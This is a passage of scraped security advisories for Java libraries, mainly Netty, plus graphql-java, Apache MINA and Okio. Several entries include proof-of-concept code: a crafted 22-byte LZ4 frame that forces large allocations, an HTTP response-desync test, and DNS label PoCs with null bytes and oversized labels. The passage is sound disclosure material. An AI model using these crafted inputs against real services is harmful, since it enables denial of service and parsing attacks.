"details": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes \u003e= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n @Test\n void test() throws Exception {\n EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n try {\n AtomicReference\u003cThrowable\u003e serverError = new AtomicReference\u003c\u003e();\n CountDownLatch latch = new CountDownLatch(1);\n\n ServerBootstrap server = new ServerBootstrap()\n .group(workerGroup)\n .channel(NioServerSocketChannel.class)\n .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n @Override\n protected void initChannel(SocketChannel ch) {\n ch.pipeline()\n .addLast(new Lz4FrameDecoder())\n .addLast(new ChannelInboundHandlerAdapter() {\n @Override\n public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n if (cause instanceof DecoderException) {\n serverError.set(cause.getCause());\n } else {\n serverError.set(cause);\n }\n latch.countDown();\n }\n });\n }\n });\n\n ChannelFuture serverChannel = server.bind(0).sync();\n\n Bootstrap client = new Bootstrap()\n .group(workerGroup)\n .channel(NioSocketChannel.class)\n .handler(new ChannelInboundHandlerAdapter() {\n @Override\n public void channelActive(ChannelHandlerContext ctx) {\n ByteBuf buf = ctx.alloc().buffer(22, 22);\n buf.writeLong(MAGIC_NUMBER);\n buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n buf.writeIntLE(1);\n buf.writeIntLE(1 \u003c\u003c 25);\n buf.writeIntLE(0);\n buf.writeByte(0);\n\n ctx.writeAndFlush(buf);\n\n ctx.fireChannelActive();\n }\n });\n\n ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n clientChannel.channel().close();\n serverChannel.channel().close();\n } finally {\n workerGroup.shutdownGracefully();\n }\n }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.",
"id": "GHSA-mj4r-2hfc-f8p6",
"modified": "2026-05-14T20:41:13Z",
"published": "2026-05-07T00:20:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty Lz4FrameDecoder is vulnerable to resource exhaustion "
}
GHSA-H9MQ-F6Q5-6C8M
Vulnerability from github – Published: 2024-07-30 09:31 – Updated: 2024-07-30 15:08GraphQL Java (aka graphql-java) before 21.5 does not properly consider ExecutableNormalizedFields (ENFs) as part of preventing denial of service via introspection queries. 20.9 and 19.11 are also fixed versions.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.graphql-java:graphql-java"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "19.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.graphql-java:graphql-java"
},
"ranges": [
{
"events": [
{
"introduced": "20.0"
},
{
"fixed": "20.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.graphql-java:graphql-java"
},
"ranges": [
{
"events": [
{
"introduced": "21.0"
},
{
"fixed": "21.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-40094"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-30T15:08:48Z",
"nvd_published_at": "2024-07-30T07:15:01Z",
"severity": "HIGH"
},
"details": "GraphQL Java (aka graphql-java) before 21.5 does not properly consider ExecutableNormalizedFields (ENFs) as part of preventing denial of service via introspection queries. 20.9 and 19.11 are also fixed versions.",
"id": "GHSA-h9mq-f6q5-6c8m",
"modified": "2024-07-30T15:08:48Z",
"published": "2024-07-30T09:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40094"
},
{
"type": "WEB",
"url": "https://github.com/graphql-java/graphql-java/pull/3539"
},
{
"type": "WEB",
"url": "https://github.com/graphql-java/graphql-java/commit/16c159111507ef04d7e1839b2c23281d90c42b2b"
},
{
"type": "WEB",
"url": "https://github.com/graphql-java/graphql-java/commit/469caf6ee600ab6709ad5e8a06f371fe2ef3b8dd"
},
{
"type": "WEB",
"url": "https://github.com/graphql-java/graphql-java/commit/97743bc1b5caa2b0bd894dc8e128b47e4d771e4a"
},
{
"type": "WEB",
"url": "https://github.com/graphql-java/graphql-java/commit/fc6f304e66cab18b6d06a80c7009524938939a03"
},
{
"type": "WEB",
"url": "https://github.com/graphql-java/graphql-java/discussions/3641"
},
{
"type": "WEB",
"url": "https://github.com/graphql-java/graphql-java/releases/tag/v19.11"
},
{
"type": "WEB",
"url": "https://github.com/graphql-java/graphql-java/releases/tag/v20.9"
},
{
"type": "WEB",
"url": "https://github.com/graphql-java/graphql-java/releases/tag/v21.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GraphQL Java does not properly consider ExecutableNormalizedFields (ENFs) as part of preventing denial of service"
}
GHSA-57RV-R2G8-2CJ3
Vulnerability from github – Published: 2026-05-07 00:21 – Updated: 2026-05-14 20:41Summary
If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.
Details
HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.
Prerequisites - HTTP/1.1 pipelining - HEAD in the pipeline - The server sends 1xx
PoC
@Test
public void test() {
EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
ByteBuf request = channel.readOutbound();
request.release();
assertNull(channel.readOutbound());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
request = channel.readOutbound();
request.release();
assertNull(channel.readOutbound());
String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
"HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
"HTTP/1.1 200 OK\r\n\r\n";
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));
// Response 1
HttpResponse response = channel.readInbound();
assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
LastHttpContent last = channel.readInbound();
assertEquals(0, last.content().readableBytes());
last.release();
// Response 2
response = channel.readInbound();
assertEquals(HttpResponseStatus.OK, response.status());
last = channel.readInbound();
assertEquals(0, last.content().readableBytes());
last.release();
// Response 3
FullHttpResponse response1 = channel.readInbound();
assertTrue(response1.decoderResult().isFailure());
assertEquals(0, response1.content().readableBytes());
response1.release();
assertFalse(channel.finish());
}
Impact
Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42584"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:21:48Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "HIGH"
},
"details": "### Summary\n If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another\u0027s.\n\n### Details\nHttpClientCodec pairs each inbound response with an outbound request by `queue.poll()` once per response, including for `1xx`. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message\u2019s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.\n\nPrerequisites \n- HTTP/1.1 pipelining\n- HEAD in the pipeline\n- The server sends 1xx\n\n### PoC\n\n```java\n @Test\n public void test() {\n EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());\n\n assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, \"/1\")));\n ByteBuf request = channel.readOutbound();\n request.release();\n assertNull(channel.readOutbound());\n\n assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, \"/2\")));\n request = channel.readOutbound();\n request.release();\n assertNull(channel.readOutbound());\n\n String responseStr = \"HTTP/1.1 103 Early Hints\\r\\n\\r\\n\" +\n \"HTTP/1.1 200 OK\\r\\nContent-Length: 5\\r\\n\\r\\nhello\" +\n \"HTTP/1.1 200 OK\\r\\n\\r\\n\";\n assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));\n\n // Response 1\n HttpResponse response = channel.readInbound();\n assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());\n LastHttpContent last = channel.readInbound();\n assertEquals(0, last.content().readableBytes());\n last.release();\n\n // Response 2\n response = channel.readInbound();\n assertEquals(HttpResponseStatus.OK, response.status());\n last = channel.readInbound();\n assertEquals(0, last.content().readableBytes());\n last.release();\n\n // Response 3\n FullHttpResponse response1 = channel.readInbound();\n assertTrue(response1.decoderResult().isFailure());\n assertEquals(0, response1.content().readableBytes());\n response1.release();\n\n assertFalse(channel.finish());\n }\n```\n\n### Impact\nIntegrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.",
"id": "GHSA-57rv-r2g8-2cj3",
"modified": "2026-05-14T20:41:17Z",
"published": "2026-05-07T00:21:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty has HttpClientCodec response desynchronization"
}
GHSA-995C-6RP3-4M4X
Vulnerability from github – Published: 2026-05-01 12:30 – Updated: 2026-05-07 02:54The fix for CVE-2026-41409 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description:
The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed.
Affected versions are Apache MINA 2.1.0 <= 2.1.11, and 2.2.0 <= 2.2.6.
The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier.
Affected are applications using Apache MINA that call IoBuffer.getObject().
Applications using Apache MINA are advised to upgrade.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.mina:mina-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "2.1.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.mina:mina-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42778"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T02:54:15Z",
"nvd_published_at": "2026-05-01T11:16:19Z",
"severity": "CRITICAL"
},
"details": "The fix for CVE-2026-41409 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description:\n\nThe fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed.\n\nAffected versions are Apache MINA 2.1.0 \u003c= 2.1.11, and 2.2.0 \u003c= 2.2.6.\n\nThe problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier.\n\nAffected are applications using Apache MINA that call IoBuffer.getObject().\n\nApplications using Apache MINA are advised to upgrade.",
"id": "GHSA-995c-6rp3-4m4x",
"modified": "2026-05-07T02:54:16Z",
"published": "2026-05-01T12:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42778"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-76h9-2vwh-w278"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-f2wh-grmh-r6jm"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/mina"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/fhlx5k91hrkgyzh7yk1nghrn3k27gxy0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache MINA vulnerable to Deserialization of Untrusted Data (CVE-2026-41409 Incomplete Fix)"
}
GHSA-W33C-445M-F8W7
Vulnerability from github – Published: 2023-07-12 21:30 – Updated: 2023-07-13 17:01GzipSource does not handle an exception that might be raised when parsing a malformed gzip buffer. This may lead to denial of service of the Okio client when handling a crafted GZIP archive, by using the GzipSource class.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.squareup.okio:okio"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-RC1"
},
{
"fixed": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.squareup.okio:okio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.squareup.okio:okio-jvm"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-RC1"
},
{
"fixed": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-3635"
],
"database_specific": {
"cwe_ids": [
"CWE-195",
"CWE-681"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-13T17:01:48Z",
"nvd_published_at": "2023-07-12T19:15:08Z",
"severity": "MODERATE"
},
"details": "GzipSource does not handle an exception that might be raised when parsing a malformed gzip buffer. This may lead to denial of service of the Okio client when handling a crafted GZIP archive, by using the GzipSource class.\n\n",
"id": "GHSA-w33c-445m-f8w7",
"modified": "2023-07-13T17:01:48Z",
"published": "2023-07-12T21:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3635"
},
{
"type": "WEB",
"url": "https://github.com/square/okio/pull/1280"
},
{
"type": "WEB",
"url": "https://github.com/square/okio/pull/1334"
},
{
"type": "WEB",
"url": "https://github.com/square/okio/commit/81bce1a30af244550b0324597720e4799281da7b"
},
{
"type": "WEB",
"url": "https://github.com/square/okio/commit/b4fa875dc24950680c386e4b1c593660ce4f7839"
},
{
"type": "PACKAGE",
"url": "https://github.com/square/okio"
},
{
"type": "WEB",
"url": "https://github.com/square/okio/blob/master/CHANGELOG.md#version-1176"
},
{
"type": "WEB",
"url": "https://research.jfrog.com/vulnerabilities/okio-gzip-source-unhandled-exception-dos-xray-523195"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Okio Signed to Unsigned Conversion Error vulnerability"
}
GHSA-CM33-6792-R9FM
Vulnerability from github – Published: 2026-05-07 00:12 – Updated: 2026-05-14 20:40Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-dns) |
| Component | io.netty.handler.codec.dns.DnsCodecUtil |
| Vulnerability Type | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |
| Impact | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |
2. Affected Components
Both the encoder and decoder in the same file are affected:
io.netty.handler.codec.dns.DnsCodecUtil—encodeDomainName()method (lines 31-51):- No null byte validation in domain name labels
- No per-label length validation (RFC 1035 max: 63 bytes)
- No total domain name length validation (RFC 1035 max: 255 bytes)
-
Empty labels silently truncate the domain name
-
io.netty.handler.codec.dns.DnsCodecUtil—decodeDomainName()method (lines 53-118): - No per-label length validation (max 63)
- No total domain name length validation (max 255)
- Unbounded StringBuilder growth from attacker-controlled DNS responses
3. Vulnerability Description
Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.
3.1 Encoder Side — Null Byte Injection (CWE-626)
A domain name containing a null byte (e.g., "evil\0.example.com") is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:
- Java (full string): sees
"evil\0.example.com"as a single label containing a null - C/native DNS libraries: truncate at the null byte, seeing only
"evil" - DNS servers: may accept or reject based on implementation
This differential interpretation enables DNS cache poisoning and domain validation bypass.
3.2 Encoder Side — Overlength Label (RFC 1035 Violation)
Labels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes 0xC8 (200) as the length. Per RFC 1035, values 192-255 indicate compression pointers. This means:
- A 200-byte label length
0xC8would be interpreted as a compression pointer by standards-compliant DNS parsers - This creates parser confusion between label and pointer interpretation
3.3 Encoder Side — Silent Truncation via Empty Labels
encodeDomainName("a..b.com", buf);
// Encodes as: [01] 'a' [00]
// Only "a." is encoded, ".b.com" is silently dropped!
An attacker can craft input like "safe-domain..evil.com" which gets truncated to just "safe-domain.", potentially bypassing domain allowlists.
3.4 Decoder Side — Unbounded Memory Allocation
The decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.
Root Cause — Encoder
// DnsCodecUtil.java:31-51
static void encodeDomainName(String name, ByteBuf buf) {
if (ROOT.equals(name)) {
buf.writeByte(0);
return;
}
final String[] labels = name.split("\\.");
for (String label : labels) {
final int labelLen = label.length();
if (labelLen == 0) {
break; // NO ERROR - silently truncates!
}
// NO check: labelLen > 63
// NO check: label contains null bytes
// NO check: total name > 255 bytes
buf.writeByte(labelLen); // Can write values > 63!
ByteBufUtil.writeAscii(buf, label); // Null bytes pass through!
}
buf.writeByte(0);
}
Root Cause — Decoder
// DnsCodecUtil.java:94-99 (decodeDomainName)
} else if (len != 0) {
if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len <= 63
throw new CorruptedFrameException("truncated label in a name");
}
name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.');
// ^^^^^^ StringBuilder grows WITHOUT any length limit
in.skipBytes(len);
}
Missing checks in decoder:
- No if (len > 63) check per RFC 1035 Section 2.3.4
- No if (name.length() > 255) check for total domain name length
4. Exploitability Prerequisites
Encoder Side (outbound)
- An application constructs DNS queries using Netty's DNS codec with user-influenced domain names
- The constructed DNS packets are sent to DNS servers or resolvers
Decoder Side (inbound)
- An application uses Netty's
codec-dnsorresolver-dnsmodule to process DNS responses - The application communicates with a malicious or compromised DNS server
Attack surface: Any Netty application using DNS resolution (DnsNameResolver) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.
5. Attack Scenarios
Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)
String hostname = userInput; // "evil\0.trusted.com"
DnsQuery query = new DefaultDnsQuery(...)
.addRecord(DnsSection.QUESTION,
new DefaultDnsQuestion(hostname, DnsRecordType.A));
The DNS query for "evil\0.trusted.com" may be interpreted by some resolvers as a query for "evil" (truncated at null). If the attacker controls the DNS for "evil", they can return a response that gets cached for "evil\0.trusted.com" (or vice versa), poisoning the cache.
Scenario 2: Label/Pointer Confusion (Encoder)
A 200-byte label writes length byte 0xC8. Standards-compliant parsers interpret 0xC0-0xFF as compression pointer prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:
Byte: [C8] [61 61 61 ... (200 bytes)]
↑
Label interpretation: 200-byte label starting with 'a'
Pointer interpretation: pointer to offset 0x0861 = 2145
Scenario 3: Memory Exhaustion via Large Labels (Decoder)
A malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.
Scenario 4: Domain Truncation via Empty Label (Encoder)
encodeDomainName("safe-domain..evil.com", buf);
// Only "safe-domain." is encoded, "evil.com" silently dropped
This can bypass domain allowlists that check the input string.
Scenario 5: Downstream Processing Failures (Decoder)
Applications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance.
6. Proof of Concept
PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
public class DnsEncoderNullBytePoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty DNS Encoder Validation Bypass PoC ===\n");
Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
Method encode = clazz.getDeclaredMethod("encodeDomainName",
String.class, ByteBuf.class);
encode.setAccessible(true);
// Test 1: Null byte in domain name
ByteBuf buf = Unpooled.buffer(256);
encode.invoke(null, "evil\0.example.com", buf);
byte[] bytes = new byte[buf.readableBytes()];
buf.readBytes(bytes);
buf.release();
System.out.print("[TEST 1] Null byte - Encoded: ");
for (byte b : bytes) System.out.printf("%02x ", b & 0xff);
System.out.println("\nVULNERABLE: Null byte 0x00 in label data!");
// Test 2: 200-byte label
ByteBuf buf2 = Unpooled.buffer(512);
encode.invoke(null, "a".repeat(200) + ".com", buf2);
System.out.println("\n[TEST 2] 200-byte label encoded: " + buf2.readableBytes() + " bytes");
System.out.println("VULNERABLE: Overlength label accepted!");
buf2.release();
// Test 3: Empty label truncation
ByteBuf buf3 = Unpooled.buffer(256);
encode.invoke(null, "a..b.com", buf3);
byte[] bytes3 = new byte[buf3.readableBytes()];
buf3.readBytes(bytes3);
buf3.release();
System.out.print("\n[TEST 3] Empty label - Encoded: ");
for (byte b : bytes3) System.out.printf("%02x ", b & 0xff);
System.out.println("\nVULNERABLE: Domain silently truncated!");
}
}
PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
public class DnsDecoderLengthPoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty DNS Decoder Length Bypass PoC ===\n");
Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
Method decode = clazz.getDeclaredMethod("decodeDomainName", ByteBuf.class);
decode.setAccessible(true);
// Test 1: 100-byte label (RFC limit: 63)
ByteBuf buf1 = Unpooled.buffer(256);
buf1.writeByte(100);
buf1.writeBytes("a".repeat(100).getBytes(StandardCharsets.US_ASCII));
buf1.writeByte(3);
buf1.writeBytes("com".getBytes(StandardCharsets.US_ASCII));
buf1.writeByte(0);
String r1 = (String) decode.invoke(null, buf1);
buf1.release();
System.out.println("[TEST 1] 100-byte label: length=" + r1.length() +
" VULNERABLE=" + (r1.length() > 64));
// Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)
ByteBuf buf2 = Unpooled.buffer(512);
for (int i = 0; i < 5; i++) {
buf2.writeByte(60);
buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60)
.getBytes(StandardCharsets.US_ASCII));
}
buf2.writeByte(0);
String r2 = (String) decode.invoke(null, buf2);
buf2.release();
System.out.println("[TEST 2] 305-byte domain: length=" + r2.length() +
" VULNERABLE=" + (r2.length() > 255));
}
}
How to Compile and Run
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Encoder PoC
javac -cp "$JARS" DnsEncoderNullBytePoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsEncoderNullBytePoC
# Decoder PoC
javac -cp "$JARS" DnsDecoderLengthPoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsDecoderLengthPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
Encoder PoC:
=== Netty DNS Encoder Validation Bypass PoC ===
[TEST 1] Null byte in domain name
Input: "evil\0.example.com"
Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00
Null byte in label data: true
VULNERABLE: YES - Null byte accepted!
[TEST 2] Label > 63 bytes in encoder
Input: "aaaaaa..." (200-char label)
Encoded bytes: 206
VULNERABLE: YES - Overlength label accepted in encoder!
[TEST 3] Empty labels (consecutive dots)
Input: "a..b.com"
Encoded bytes: 01 61 00
Note: Empty label truncates the name (may lose data)
Decoder PoC:
=== Netty DNS Decoder Length Bypass PoC ===
[TEST 1] Label > 63 bytes (RFC 1035 violation)
Label length: 100 bytes (RFC limit: 63)
Decoded name length: 105
VULNERABLE: YES - Label > 63 bytes accepted!
[TEST 2] Domain > 255 bytes via multiple labels
5 labels x 60 bytes = 300+ bytes total
RFC 1035 limit: 255 bytes
Decoded name length: 305
VULNERABLE: YES - Domain > 255 bytes accepted!
7. Impact Analysis
| Impact Category | Description |
|---|---|
| Integrity | HIGH — Null byte injection causes differential interpretation across DNS implementations |
| Availability | HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder |
| DNS Cache Poisoning | Different parsers see different domain names from the same encoded packet |
| Domain Validation Bypass | Null bytes can bypass allowlist/blocklist checks in DNS proxies |
| Label/Pointer Confusion | Length bytes > 63 conflict with RFC 1035 compression pointer encoding |
| Silent Truncation | Empty labels silently drop the remainder of the domain name |
| Downstream Failures | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |
8. Remediation Recommendations
Fix for Encoder (encodeDomainName)
static void encodeDomainName(String name, ByteBuf buf) {
if (ROOT.equals(name)) {
buf.writeByte(0);
return;
}
int totalLength = 0;
final String[] labels = name.split("\\.");
for (String label : labels) {
final int labelLen = label.length();
if (labelLen == 0) {
throw new IllegalArgumentException("DNS name contains empty label: " + name);
}
if (labelLen > 63) {
throw new IllegalArgumentException(
"DNS label length " + labelLen + " exceeds maximum of 63: " + name);
}
for (int i = 0; i < label.length(); i++) {
if (label.charAt(i) == '\0') {
throw new IllegalArgumentException(
"DNS label contains null byte at index " + i);
}
}
totalLength += 1 + labelLen;
if (totalLength > 254) {
throw new IllegalArgumentException(
"DNS name exceeds maximum length of 255: " + name);
}
buf.writeByte(labelLen);
ByteBufUtil.writeAscii(buf, label);
}
buf.writeByte(0);
}
Fix for Decoder (decodeDomainName)
// Add after "} else if (len != 0) {":
if (len > 63) {
throw new CorruptedFrameException("DNS label length " + len + " exceeds maximum of 63");
}
// Add after "name.append(...)":
if (name.length() > 255) {
throw new CorruptedFrameException("DNS domain name length exceeds maximum of 255");
}
9. Resources
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-dns"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-dns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42579"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400",
"CWE-626"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:12:47Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
